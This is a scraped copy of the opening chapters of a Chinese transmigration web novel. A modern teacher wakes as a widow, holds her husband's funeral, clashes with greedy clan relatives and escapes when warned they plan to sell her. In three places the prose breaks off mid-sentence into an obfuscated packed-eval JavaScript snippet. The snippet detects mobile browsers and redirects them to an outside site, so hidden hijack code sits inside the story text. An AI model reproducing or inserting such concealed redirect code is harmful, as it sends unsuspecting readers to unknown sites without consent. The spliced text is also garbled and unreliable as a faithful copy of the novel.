《不老春》 1. 闹 “喔!喔!喔——” “喔!喔!喔——” 隔壁孙婆子家的鸡刚叫了两回,细姑就醒了。 她不想起床,又不得不起,只能闭着眼睛摸到叠放在床头的裙袄,磕磕绊绊地穿上,然后下床趿拉着鞋子去开窗。 窗户打开的瞬间,清晨的微光和初春的冷气,一齐向细姑涌了过来。 她完全清醒了。 忍不住深吸一口,“嘶——都二月了,还这么冷!” 细姑的房间不大,一张床贴着西、北两面墙,床尾是两口大木箱子。床头摆着一张桌子,桌上有一个雕了花草的红漆盒子。 盒子里是细姑仅有的两件首饰——一支梅花银簪,一对素银耳环。盒子上有一把梳子、两根扎头发的带子和一块戴孝用的麻色头巾。盒边靠墙立着一块巴掌大的铜镜,铜镜边上錾刻着几个小字——贺细妹及笄。 细姑从桌子底下拉出一张矮凳坐下,拿起梳子认命地开始梳头发。 这古代女人的头发可真长啊!细姑一边梳一边叹气。 她本来叫王畅的,是一名公立幼儿园的老师。父母车祸去世,只得了一点丧葬费——出车祸的是农用三轮车,司机只能拿出这一点钱。 学生时代过得很拮据,学费是姐姐姐夫给的,生活费要自己去挣。 大学毕业后考上了市直属公立幼儿园的教师编制,这在当地也算是个体面职业。 求学时为了学业和生存奔波,没有时间恋爱。工作以后社交范围变得很窄,只能去相亲,相了两次也没什么结果。 那周星期五,本来都已经准备第三次相亲,结果放学时来了一个报复社会的,在幼儿园门口持刀行凶,她想都没想就冲了上去。 她没想到自己会死。 最后一点印象就是那个歹徒被人压在地上,以及有人在自己面前长大嘴巴不断在说着什么。 细姑停下手里的动作,自言自语道:“也不知道姐姐能不能拿到我银行卡里的十几万存款!” 她记得自己以前开玩笑的时候跟姐姐说过,要拿小侄女月月的生日当做银行卡密码的,姐姐应该还能记起来吧? “咚!咚!咚!”有人敲门。 细姑回过神来,道:“哎!马上来!”说罢赶忙扎好头发,随意盘了两圈,固定好之后拿头巾裹了起来。 她出门前最后看了一眼镜子里面的自己——阔面窄额,眼睛不大,嘴唇微厚。微微一笑,露出几颗又大又白的牙齿,看着像冬日里能嚼二斤干草的驴马。 门一开,就看到院子里扎了一个白事用的棚子,棚子下面站着几个人——一个头上裹着灰蓝色头巾的矮胖妇人,是王细姑的丈夫刘洪的远房婶子;一个腰上系着白布带的矮壮汉子,是刘洪唯一的表哥;最后一个瘦高个,是细姑专门请来办丧事的治丧人。 王细姑的丈夫——刘洪,死了。 就在三天前,二月初三那天出门卖货,失足掉进河里淹死了。 王细姑得到消息,一口气没上来晕了过去,醒来就叫王畅顶了她的身体。 “今日还要劳烦大家!”细姑向几人客气道。 “表哥,你熬了一夜,现在只管去睡,吃饭了我们叫你!”刘洪夫妻跟本家的人关系不和,如今只有这个表哥愿意过来帮忙守灵。 表哥点点头,“好!有事情弟妹叫我!”说完转身便去了西屋。 细姑又拿出二十文铜钱交给那婶子,请她帮忙买几个馒头回来。 最后掏出了一块二两左右的碎银,递给那个请来治丧的,“剩下的都要麻烦陶主事了。” 这陶主事收了银子,道:“大娘子放心,我陶某人治丧十几年,从不叫主家劳神!” 说完,陶主事向细姑拱拱手,出门去叫他那治丧的队伍。 大齐立国已有百十年,细姑所在的宁州府一带,商贸繁荣,百业兴旺。这姓陶的就是专做治丧出殡生意的。她初来乍到,摸不清楚情况,只能拿钱请人上门治丧。 除了寿衣棺材和唱经的另外算钱,其他诸如哭丧、席面、迎来送往,包括后面的抬棺埋山,这姓陶的全包了,说好一共十二两。 本地风俗,家里死了人治丧期间是不能洗漱的。细姑安排完人事,上了趟茅房,略微净净手,就去了灵堂。 院子里一共三间正房,东边住人,西边放杂物,中间是堂屋,如今充作灵堂。 灵堂里面摆着一口棺材,棺材前却有两个灵位,其中一个灵位上写着“故夫主刘公洪先大人”,另一个写着“故内室刘门王氏细姑”。 真正的王细姑已死,这场丧礼,细姑决议按着夫妻两人的规模来办。 旁人问起,细姑也有话回他:“不是我舍得花钱,实在是我跟洪哥也没个后人。他死了,还有我给他料理后事,我死了呢?谁来管我?不趁着现在一起办了,到时候死了没人哭丧,去地底下都没人坟住!” 说来这个王细姑也是个可怜人,爹娘死的早,打小跟着哥哥嫂子长大,长到十三岁被四处贩货为生的刘洪以六两聘礼带了回来。就这样王细姑还是念着她哥哥嫂子的好,毕竟这个时代被亲爹娘卖到花船窑子的多了去了,哥嫂能把她养大好好嫁人,已经是难得的厚道人,六两银子就当是报答哥嫂的养育之恩。这一些王细姑本人想得很开。 跟着刘洪,王细姑的日子也不难过,公婆死的早,只有刘洪一个独子,虽说比王细姑大了十三岁,但刘洪人不坏,王细姑跟着他没挨过一顿饿、没受过一天冻。 王细姑十五岁及笄,十六岁跟着刘洪去公婆坟上磕头,与他做了真夫妻。 婚后刘洪还是四处贩货赚钱养家,王细姑就守着家里,日子过得简单也省心。 只是一样不好——夫妻二人成亲十年也没个孩子,前两年刘洪找了个寡妇,出钱养着她一家老小,约定好只要寡妇生了,不论男女都抱回来给王细姑养着,这王细姑是知情的,也是愿意的。 可惜外面的寡妇也没能生个一男半女,王细姑又觉得自己不中用,又怨刘洪是个没福气的。 穿越来顶了她肉身的王畅却看得明白——八成是这刘洪不行。 只是斯人已逝,多的也没处说去了。 棺材前摆了一碗生米,一碗白水煮的五花肉,一碟生豆子,那是供给死者的吃食。 一盏油灯通天彻夜的亮着,为亡魂引路。 细姑就跪坐在棺材旁草垫子上,一张一张地往火盆里烧麻黄色的纸钱,火光映着她平板无波的面孔。 这样场景她似曾相识,未来千百年里这片土地上的人也还是用着相似的法子祭奠死去的亲人。 院子里陆陆续续忙碌起来,有烧水泡茶待客的,有支锅备菜准备席面的,还有专门扮成孝子贤孙来哭丧的。 四婶也带回了几个肉馒头,细姑啃着肉馒头看见治丧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488893|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶主事带着几个人在门口迎来送往,好不热闹。 不一会儿,唱经的道士跟和尚也来了 道士三个,和尚也是三个。 先是道士在棺材前做法,道士累了就换成和尚唱经。 咪咪嘛嘛哄的唱经声音混着请来的孝子贤孙悲戚的哭声,细姑木这一张脸,一滴眼泪也没掉,只有手里的纸钱烧得尤其快,当纸钱快烧完时,细姑转头去喊四婶:“婶子!再去给我拿捆纸钱来!” 四婶抱来纸钱,道:“这是最后两捆了,怎么烧得这样快?堆得半人高的纸钱都烧完了!” 细姑没回答,只是笑笑:“四婶帮我看着,我再去跟办丧的说一声。” 一出门,细姑就看到陶主事在跟刘家来的几个人在说话。 原主的记忆里,夫妻俩受了这些本家不少欺负。 自然,细姑也不会待见这些人,只点头叫了两声叔伯,便找陶主事说道:“陶主事,麻烦你叫人再去买些纸钱回来,多买一些!” 陶主事问道:“那么多都烧完了?” 细姑没做解释,“都烧完了,再多买些,钱我到时候一并算给你!” “诶,我这就去安排人去买!”陶主事也不多问,转头便去安排人手。 细姑这边说完了事儿转身要走,一个细脚伶仃的汉子弓着背勾着头,凑过来拦住了细姑的去路,张口便道:“小婶子,别人家死了丈夫哭天抢地的,怎么小叔死了你连滴眼泪也不掉?这可你亲丈夫!” 细姑知道这人,刘洪一个族里的侄子,叫刘春根,跟细姑一般大,从小不成器,光棍一个,如今靠着哥嫂胡混着日子,以前要跟刘洪学贩货,吃一点苦又喊累,气得刘洪再不理他,为此两家人闹得很不愉快。 细姑明白来者不善,但她又不是真正的王细姑,没有那么好的性子。 她上下扫了刘春根一眼,语气不那么和善,“我死了总归是要跟他埋到一个坟头上的,今天不哭明天哭,倒是你这个当侄子的,吃了你叔三天的死人饭,我也没见你掉一滴眼泪!” “诶——他婶子,话不是你这样说的,什么叫吃死人饭!一家子姓刘的骨肉,吃点怎么了?那也比便宜了外人强!”说话间一个胖妇人站了出来,又薄又小的嘴巴张合不停,声音尖得刺耳。 另一边有人附和道:“就是!也不看看这办个丧事用了多少钱,棺材寿衣用上等的,治丧哭丧请了这一堆人!” “唱经的就请了两班,人还活着呢,倒是先给自己也办上了!” “就是!就是!我们再不吃点,还不叫你这败家精给耗光了!” 说着几个妇人就上手推搡起细姑。 这帮人就是来找事的! 听到动静的陶主事立刻带人拦住几个妇人,又亲自挡在了细姑前面,大声劝道:“好说!好说!大家消消气!消消气!这刘洪大先人还那里躺着,看在死人的面子上,不要闹了!” 刘洪这一支人丁算是没了,对面却是人多势众,细姑被陶主事拦在身后,想着:打是肯定打不过了,好汉不吃眼前亏,先把丧事办完了再说。 于是转身便准备回灵堂。 谁知对面好似得胜的公鸡,耀武扬威地在那里喋喋不休。 细姑本想退一步算了,却越想越气,回头看了几人一眼,大步回到灵堂,端起烧纸钱的火盆子便冲出来,对着那几个嘴臭不休的,兜头泼了上去。 2. 吵 火盆里泼出的纸灰还带着火星子,几个找茬的被泼得浑身都是,又晦气又心惊,一时间恶向胆边生,就要动起手来。 眼看着事情闹起来,陶主事立刻跟手下的使眼色,几人立马拿着棍子把人挡住隔开。 这自来办丧事的最容易有人闹事,陶主事见得多了,早有准备,反应自然也快。 细姑撂下盆子,推开挡在在自己身前的陶主事:“陶主事,你让开,别拦着我!” 细姑瞪眼叉腰,拿手指点着闹事的几人,厉声喝骂道:“我呸!死人饭不好吃?什么饭好吃?绝户饭好吃,是吧?不要以为我不知道你们打的什么算盘!二十年前,那顿绝户饭还没吃够!二十年后再吃一回!是吧?我告诉你们,没门儿——我王细姑今天就是要把家底用得干干净净!刘洪一辈子没舍得吃没舍得穿,攒几个破钱,现在要便宜你们几个,我呸!我就是要给他带到棺材里去!埋了他我就一头碰死!我还省着用!我省个屁!” 刘春根的衣裳叫火星子烫了几个洞,忙拍着灰,听了这话,气急败坏对细姑道:“姓王的,你话别说得太早,少了哥几个,看明天谁给你抬棺!” “还威胁我?我呸!明明是你们做人不讲良心!把事情做得太绝!”吵架人少得把摊子铺大,细姑抹了一把脸,对着众人道:“大家都来看!我丈夫还在里面躺着呢!这几个叔伯兄弟就欺人欺到我门上!二十年前,我家公刚没,田就叫他们占去了,等我婆婆一死,连老屋都叫他们霸着,我们夫妻两个可怜,只能在这外面租个地方落脚。十几年了,除了上坟,我们有家不能回。旁人也就罢了,这还是没出五服的兄弟!” 刘洪夫妻这些年的委屈叫细姑不管不顾地都说了出去。 围观的人议论纷纷。 几十年的老账被翻了出来,本来还在墙边条凳上坐定一声不吭的老汉,这时再也坐不住,站起身来,对着刘春根几人呵斥道:“吵吵吵!成什么样子,都给老子闭嘴,一边呆着去!” 刘春根几人不服气,也只能悻悻退下。 老汉又转过来训细姑,“洪哥家的,你嘴上也没个把门,什么都往外说!还不快点里面呆着去!” 细姑还欲反驳,叫四婶一把捂住嘴,没法出声,只能拿眼睛将刘春根几人剐了一遍。 四婶搂着细姑,将人拖拽回去,“细姑,听你大伯的!咱们回去!” 火盆被捡回管灵堂,细姑拿起纸钱在油灯上点燃,哭丧的也累了在一旁休息。 四婶看着细姑的样子,在一旁劝解道:“细姑,不是婶子拉偏架,他们几个是一家的,人又多,闹到最后你是要吃大亏的!先忍忍,好歹等洪哥棺材下地了,再把那几个混账东西送走,也就万事大吉!还有那死啊活啊的话,可不能乱说,你年纪还轻,后面的日子还长着呢,那里能说得了那些话!” 细姑看着四婶脸上关切的神情不似作假,摇摇头道:“四婶,不是我想吵,他们的样子你也看见了,摆明了就是看我男人死了,欺到我头上!刘洪泉下有知,怎么不去跟阎王爷告状,让老天爷打雷劈死这帮丧良心的!” 眼看着细姑越说越气,四婶赶紧拍着细姑的背把她的气给顺下去,“他们这样的人自有天收,你也不能把自己给搭进去,消消!,消消气!” “开席吃饭了!” 声音一出,细姑也不再纠结这些,只让众人都去吃饭,又让婶子去把表哥叫起来。 陶主事亲自端来两份饭菜,“王大娘子,这是你们的!” 一个大木托盘上两个红烧大肉丸,一条鱼,一碟子素炒的白菘菜,一碗菠菜豆腐汤,两碗杂粮的蒸饭并两双筷子。 细姑接过托盘,同陶主事说道:“陶主事,明天上山你多带几个人,我怕那几个明天坏事!” 陶主事小心地把托盘递给细姑,“哎,小心重!大娘子放心!我这儿有数!您先吃着,我出去招呼几位道爷方丈!” 细姑点点头道:“劳你多费心!” 饭后众人各归各位,哭丧的哭丧,唱经的唱经,细姑还是在一旁烧纸,一把一把地烧,心里头想着:倘若这世间真有地府,希望这纸钱能烧到王细姑和她丈夫刘洪手里,让他们在地府的日子过得富裕一些,少受一点苦难。 不一会儿,细姑被这火盆里的热气烘得犯困,干脆靠着棺材睡了过去。 “醒醒!醒醒!” 细姑猛地被人推醒,慌张道:“怎么了?出什么事儿了?”看到是四婶才平静下来。 四婶对着门外努努嘴:“来了个女人,带着个孩子,就在院子外面,我们也不知道是谁,只能来喊你。” “哦!”细姑听着话就要起身,这才发现腿麻了,“婶子你来拉我一把,腿麻了!” “诶!” 细姑扶着四婶走到外面,就看到大门外众人正围观着一对母子。 女的大约二十五六,中等身材,五官端正,神情哀切,一身衣裙洗得发白褪色褪色。 她手里牵着一个八九岁的男孩儿,刚留头,脑袋上攥的发髻还不成型,衣服上打着几块补丁,又短,漏出的手腕脚腕都冻得发青。 母子俩正被众人围观的局促不安,细姑就来了。 妇人看到细姑,低头做了个福,道:“大娘子,我来给刘大哥上柱香!” 这妇人正是刘洪养在外面等着生孩子的寡妇,姓白,王细姑生前也只见过一回,只知道是个刚死了丈夫的可怜人,家里还有一个眼睛不好的婆婆和三个孩子,最小的一个还在吃奶。 细姑好一会儿才反应过来,还有这样一号人。 “快进来!”不理会周围人的眼光和议论,细姑把人领进进门。 到了灵堂门口,细姑拦下孩子,说道:“孩子还小,进去冲撞了可不好,我让人带着他去吃点东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488894|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西!” 白寡妇点点头,对着孩子道:“小树,你在外面等着一会儿,娘一会儿就出来!” “陶主事,你指个人带着孩子去吃点东西!”把孩子交给陶主事,细姑就领着白寡妇进了灵堂。 一进门,白寡妇就跪在棺前的草垫上磕了三个头,等到她抬起头时,细姑就见她脸上留下两行泪来。 这是细姑这些天来第一次见到有人真心实意的为刘洪流眼泪,她自己从父母过世起就再没哭过,外面的刘家人只是来吃席喝酒的,哭丧人更是花钱请来扮演孝子的。 不管这眼泪是为了刘洪,还是为了寡妇自己一家未知的前途,细姑都真切感受到了她的哀痛。 细姑没有上去安慰白寡妇,只在她渐渐地止住了眼泪后,递过去一张帕子。 四婶端来一盆热水,对细姑问道:“这位是?” 细姑正想着怎么跟四婶解释,就听见白寡妇说:“大娘,我夫家姓李,我姓白,两年前我丈夫打猎,不幸摔下山,死了,一直都是大娘子夫妻俩关照我们孤儿寡母一大家子。我这边刚听说刘大哥走了,心里难过,就带着我大儿子过来,给刘大哥上香磕头。” 细姑心道:这白寡妇人倒是怪好的,这样一解释倒也说得通,还省的我编东编西的多费口舌。于是顺着白寡妇的话说了下去:“白家妹子,你有心了,这边拜也拜过了,你等下去小树那里一起吃点,我这儿也没别的招待你!” 白寡妇就着水匀净了面皮,点点头,道了声谢,没再多说什么,便去找自己的儿子。 四婶端着水,看着白寡妇的背影,忍不住感叹:“这女人呐,难哦——”说完又觑了细姑一眼,见细姑还是面无表情,也不再多舌,端水走了。 宁州府这边,百姓治丧,只停灵三日,每日招待奔丧的人两顿酒水。 今天傍晚的就是最后一顿,倒是没再闹出什么风波。 席后,细姑捡着肉多油厚的菜折了两大碗,叫白寡妇带回去,那几个姓刘的本家看细姑偏帮外人急得直跺脚,只是人多不好发作出来,细姑看在眼里,只觉得畅快。 日头西斜,人群散去,搭的白事棚子和临时用的灶台都叫撤了下来,院子为之一空。 细姑拒绝了几个要留下来陪她守灵的人,“明天天不亮就要抬棺上山,大家早点回去休息,今晚我来守灵!” “今晚就你一个?这能行么?” “这有什么不行的!” “你不怕?” “不怕!” “那你小心!” “诶!” 送走了最后一个人,细姑把院门关上。 今天晚上没有月亮,院子里漆黑一片,只有灵堂还亮着一盏油灯。 晚上守灵细姑是不怕的,十几年也守过一回,除了安静,旁的也没什么。 她想着:明天!等过了明天就好了! 3. 跑 “叩!叩!叩”有人在扣门。 叩门声很轻,细姑以为是自己听错了。 “叩!叩!叩!”又是几声规律的叩门声。 她站起身,死死盯着外面的大门。 谁会半夜来一个办丧事的人家?还是刘春根那几个白天输了不服气,晚上又来找麻烦? 细姑看了一眼棺材,起身到厨房摸出一把菜刀在手上壮胆,轻手轻脚地走到门后,低声问道:“谁?” 门外响起童声:“大娘,是我,李树!” “就你一个人?” “嗯!我娘叫我来还碗!” 细姑放下心来,把刀藏在身后,拉开门栓,把门露出一条缝。 门外黑乎乎的,只能看到贴在门边上不高的人影。 看到门开了,那道人影凑了上来,细姑仔细一看果然是李树,怀里还抱着两个大碗。 细姑把人拉到门内,仔细打量着李树,问道:“你娘呢?天这么黑,你家又远,你娘就叫你一个人过来送碗?” 李树看着细姑摇摇头,说:“我娘在外头等我!大娘!碗!”说着把碗递给了细姑。 细姑接过大碗,却见李树还在东张西望,问道:“你小人家家的到处找什么?” 小人儿探着脑袋地细姑:“大娘,你家里还有没有人?” 细姑皱眉,“没有,就我一个,你问这个做什么?你娘叫你问的?” 李树点点头,小小声说道:“我娘叫我跟你说明天要小心,有几个姓刘的坏人说明天等人都走完了,要把你捆了,卖给西边的山户!” 那几个王八蛋要卖了自己? 细姑赶忙追问道:“你娘真是这么说的?” 李树肯定的点点头,“嗯!” 山户是民间的说法,官方称呼他们为隐户,多是一些为了逃税躲到山里的流民,也有绿林土匪。 细姑知道那帮人没按好心,要吃自己的绝户,就想着自己把钱花光,房子也是租来的。这样没了一点好处,他们总能放过自己。 原来还可以卖人!怪不得四婶和表哥走的时候那么担心! 细姑咬住嘴唇,暗暗道:我还是把人想得太好,大意了!这里不能呆了! “大娘,我走了!”李树要走。 细姑把刀丢在一旁,一把拉住李树的胳膊,“好孩子,咱先不急着走,你在这儿等我一会儿,大娘给你拿点东西!” 细姑也不等李树说话,又把碗给李树抱着,转身去了东屋。 点上油灯,细姑把两口木箱子打开,里面都是刘洪和王细姑这些年穿的衣裳,四季的都有。 她要走,东西也不能便宜了那帮人!于是翻出能穿能用的,用一个旧了的被面裹成一个大包袱,拎了出去。 东西有点沉,李树接住后身子晃了一下。 “好孩子,你把这包些带给你娘,你娘知道怎么用!” 李树闷闷的叫了一声:“大娘!” 还待说些什么,细姑抢过话头,“小树,我记得你家离碧云山三清庙不远,是不是?” 李树闷闷的声音从包袱后传来,“嗯!” “这样,碧云山山脚有一个李家酒肆,你明天一早在就在那家店后门等我,我去你家躲一躲!可成?” 黑夜里细姑看着半大的少年,生怕他拒绝。 好在没有,“我知道了,我等下就跟娘说!” 细姑松了一口气,她摸摸李树蓬乱的头顶,“好孩子,大娘这条命就靠你们娘俩了!” 送走李树,细姑把门拴上,还觉得不够,又在院子里挪来两块石头把门抵住,菜刀也拿在手上。 刘洪为着安全,一年花四两租了这带着□□尺高围墙的宅院。 隔壁孙婆子家那么大的院子四间房,只是因为墙矮,一年也不过二两半银子。 现在细姑切切实实地感受到了这几面高墙带来的安全感。 东屋的灯还亮着,细姑又把屋子里的的东西挨个扫视了一遍,床和箱子这些大件家具她是搬不动的,被褥衣服这些也不行。 明天上山,东西带的多了肯定会叫人起疑心,看来看去只剩下首饰盒里的簪子耳环,还有那个小铜镜能贴身带着。 况且这几样是刘洪送给王细姑的,是王细姑生前最珍视的东西,她说什么也不会留下。 还有户贴路引,刘洪常年四处贩货,连带着也给王细姑办了一份,细姑穿来后把这东西连着家里剩下的一点钱都收在一张帕子里,就压在垫床铺的稻草垫子底下。 掀开铺盖,找出一个包成一团蓝色子,帕子里面是两张身份路引一点碎银钱。 细姑把户贴路引和首饰一起贴身收着,银钱揣在袖子里面,等着明天给陶主事结尾款。 夫妻俩这些年一共攒了二十多两银钱,一场丧事就让细姑差不多用完了。 做完这些,细姑拿起菜刀,把灯吹灭,将东屋的门关上。 她要回灵堂继续去守灵。 灵堂还是那个灵堂,棺材还是那个棺材,牌位仍旧是两个,只有油灯里面的香油快没了。 细姑给油灯里填满香油,正经地跪棺前的团草垫上,认认真真叩了三个头,“刘大哥,王大姐,你们在天有灵,一定要保佑我明天逃过那几人的毒手。你们没有后代,我王畅向你们保证,只要我活着,一定每年都给你们上坟烧纸!” 外面没有风,灵堂里那盏油灯上豆大的一点灯火,猛地跳了一下。 细姑笑了,“我就当你们答应了!” 说完起身拍拍衣裙,把屋门关上,另外拿了几个团垫子在墙角排成一排。 这就是今晚要睡的床了。 细姑不挑,躺下没一会儿就睡了。 “叮!”脑子深处传来的声音,细姑迷迷糊糊地醒来,都没睁眼,意识进入到一个空间,一看,果然又一个银块刷新到账。 这个情况她自己也是一头雾水。 她也不知道这个空间哪来的,只是每天子时一到就刷新一块三两重的不规则银块,除此之外什么都没有。 细姑一开始尝试过沟通,但是声音发出去连回声都没有,更别提有人回答。后来尝试过看看肉身能不能进去,也不行。这里除了自动刷新的银块和细姑的意识,任何东西都不能进出。 只有每天半夜准时刷新银块时的声音挺大,打扰人睡觉! 随它去吧,反正天地银行——穿越支行的银子也不会跑。 细姑翻个面继续睡,又觉得有点冷,找了一床被子来盖在身上。 明天埋完棺材还要跑路,睡好觉才是正事! 第二天抬棺上山的时辰非常早,天边刚泛起一丝鱼肚白,送葬的队伍就出发了。 最前面是两个提着白事灯笼的人在开道,细姑抱着灵位跟在后头,七八个人抬着棺材,最后是一群执棒哭丧的。 几个姓刘的也来了。 一行人走了半个时辰,走到天亮,终于走到了碧云山脚下。 山脚下有家小店,店前横插着一付幌子,幌子上写着“李家酒肆” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488895|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个大字。 店家刚开门,细姑趁众人歇脚的功夫,找到陶主事,递给他二钱银子,让他去找店家帮忙置备酒菜,又对众人道:“大家一会儿下山,先不着急走,都到着这李家酒肆吃杯酒!” 众人忙起身道谢,细姑一一还礼。 至于刘家那神色不明的几人,细姑也只当没看见。 歇后众人起身,又走了两刻,到了埋坟的地方。 三清观的后山坟包颇多,有的是临时埋的,有的是花钱请观里的道爷选的好地方。 细姑花了二两银子给刘洪夫妻选了个地方,位置不算偏,大小也刚好。 坑是陶主事早就谴人挖好的,只要棺材放进去,填上土,起个坟包,再把墓碑竖起来就行。 棺材缓缓落入坑中,一层又一层的碎石细土覆盖上去,扬起的尘埃模糊了细姑的视线,细姑抱着灵位跪在那里,整个人恍惚起来。 她开始疑惑: 他们埋得是谁? 是刘洪吗?还是我的父母? 还在埋?怎么埋了这么久? 十几年了,还没有完吗? 往日的情景重现,当年没能留下的眼泪,此刻如江河决堤,只一瞬间就将她的理智冲垮。 细姑猛地站起身来,疯子一样挥动手臂,想要阻止这场丧礼最后的仪式。 停下!都停下! 不要再埋了! 不要再埋了! 放过他们! 四婶将细姑死死箍在怀里,任她如何挣扎,都挣脱不开。 每一个死了丈夫的女人都要经过这一遭,没人理会她,土填得越来越快。 坟包起得快,石碑竖起,一个叫刘洪的小民连同他的妻子王细姑一起都被埋在了这一个小小的土包里面。 细姑的嗓子哑了,眼泪干了,两眼发直地瘫坐在地上。 坟茔墓碑又一次在她眼前竖起。 她什么阻止不了。 细姑是被人架着两个膀子带下山的,直到坐在李家酒肆里才缓了过来。 周围的人在喝酒吃菜,四婶端起一杯茶水递给她,“喝口水缓缓,活着的人都要过这一遭,想开点就好。” 细姑接过水一口喝下,对着同在一桌的四婶和表哥道:“那个院里除了砖头石块,一针一线都是我跟洪哥挣来的,十几年了。”说罢,摆摆手,一脸不愿再提的样子。 昨天跟李树约好在李家酒肆后门汇合,眼看着时辰不能再等。 细姑从怀里掏出银子和钥匙,把钥匙顺手放在桌上,“四婶,表哥,钥匙你们帮我看着,我先去把账结了。” “诶!你慢着点!” 刘春根几人一桌在喝酒,桌脚下放着一捆麻绳,见细姑起身,忙出声,“小婶子这是要去哪儿?” 表哥刚要站起身来替细姑出头,细姑摆摆手,让他坐下,“去结账!要不这账你去结?” “这哪能叫我去?今天您做东,您去!您去!”说罢,几人又自顾自碰杯喝酒去了。 细姑先把二两碎银交给了陶主事,算是结清了所有银钱。 陶主事双手接过银子,道:“王大娘子您节哀,保重身体!” 她点点头,又去找到店家,结清了酒钱,便问道:“店家,你这茅房在哪儿?” 店主老头掀开后厨的门帘,往前一指,“呶!” 细姑顺着店主的手指看去,只见酒肆厨房内——杯盘碗盏堆叠乱放,横肉碎菜锅内煎煮,灶下火光生烟气,柴后竹门赫然开! 4. 生路 出了门就是一条曲折的山间小路,一头通往人烟村落,一头去往碧云山。 连晴多日,空气中的暖意催绿了整片山野。 不远处的大树底下站着一个小少年,那少年一看到细姑,立刻挥动起两只手臂。 是李树! 细姑长舒一口气,会心一笑,快步走上前去。 “我们走吧!”没有多说,李树领着细姑走上了一条更隐蔽的小道。 山边生活的人最知道哪些道路更偏,叫外人无法知晓。 细姑跟在小树后面左拐右绕。 有些地方尚且勉强走得,有些都不能称之为路,那是给鸟去飞的。 她忍不住笑着问道:“你从哪里知道这些地方的?” 小树拿着一根树枝,一边走一边甩,有些可怜的草儿刚长高一点就叫小甩飞了一节,“以前跟我爹经常走啊!” “那你记性真好!”细姑说的实话,她记得白寡妇的男人死了两年多了,小树才八九岁,这么大的孩子这么久还能记得这些地方,真的是难得了。 就这么围着山脚绕来转去,眼看着日头升到半天,细姑正觉得口渴。 李树就指着远处山脚的一处院子道:“大娘,我们到了!” 院子在山脚,周围平整出一圈的地。 这一圈地被分割成几块,有的起了田垄,有的已经搭好了架子,有些已经看着青绿一片。 有一个妇人正带着一个半大的孩子在地里劳作,不远处的墙根边上一个满头白发的老妇人靠墙坐着晒太阳,她手上拴着一个光脚玩耍的孩子。 一条黄狗远远看到两人,甩着尾巴,四脚飞奔过来。 “大黄!”李树蹲下身接住飞奔过来的黄狗,一人一狗亲热了好一会儿。 “大娘!这是我家大黄!它可厉害了,自己就会打猎!”李树满脸笑意地向细姑介绍着他的黄狗。 大黄这时候才注意到小主人新带来的客人,歪着脑袋和细姑对视了一眼,察觉到细姑不是坏人,立刻就摇着尾巴在细姑脚下打转。 “汪!” “汪!” 到了李家门前,见到白寡妇,细姑就要给她跪下,不是白寡妇昨天晚上赶着黑来提醒她,一无所知的情况下,细姑今天怕是要栽在刘家那几个人的手里。 这是真正的救命之恩,细姑跪得心甘情愿。 “大娘子,使不得!这可使不得!”白寡妇看着瘦,实则很有气力,一把接住细姑,愣是把细姑托住了。 “小树,还不快点来帮忙!” “诶!来了”母子两人齐心合力把细姑架起来。 眼看跪不下去,细姑满肚子的话也不知道该怎么说才能表达自己的感激之情。 倒是白寡妇的婆婆上来说道:“都是乡下人,不用搞这些礼节!饭好了,先吃饭!” 细姑不好再说什么,只对着老婆婆躬身施了个礼,“大娘好!” “诶!我知道你,洪哥的媳妇儿!你家的事,霜儿都跟我说了,都是可怜人!”老婆子摆摆手,“不提了,吃饭去!”说罢,拿着根棍子在在前面探路。 这婆婆已经完全瞎了。 细姑拿眼神去询问白寡妇,白寡妇指指自己的眼睛,点了点头,随后招呼几个孩子去洗手吃饭。 山野人家一天两顿,今天这顿饭是特意为了细姑留到了这个时辰。 一共三样菜——一盘子昨天的折箩菜,一盘子菠菜,一碟子没油干煸的盐黄豆。 饭桌上,细姑跟一家人通了姓名,“我叫王细姑,粗细那个细,娘家里我最小,所以叫这名字,二十六了,娘家在隔壁廉州下面连水县,爹娘死的早,家里就只剩一对哥嫂。” “那可有点远!”老婆婆道。 细姑笑道:“是远着呢,二三百里,走着去要几天!” “那我叫你王大姐吧!”白寡妇在一旁给最小的女儿喂饭,“我叫白霜,我婆婆姓郑。”郑婆子点点头。 “还有我!还有我!我叫李果!果子的果!这是我妹妹,她叫李叶儿,树上那个叶子!”五六岁的男孩儿最是调皮,爱惹人关注,白霜的二儿子听见大人说话立刻也向客人介绍起了自己。 李树夹起一块肉塞得弟弟嘴里,“吃你的吧!”又看看细姑,仿佛觉得有点儿不好意思。 白霜夹起一块肉就要放到细姑碗里,“还是你家肉菜,你不要嫌弃,多吃点!” 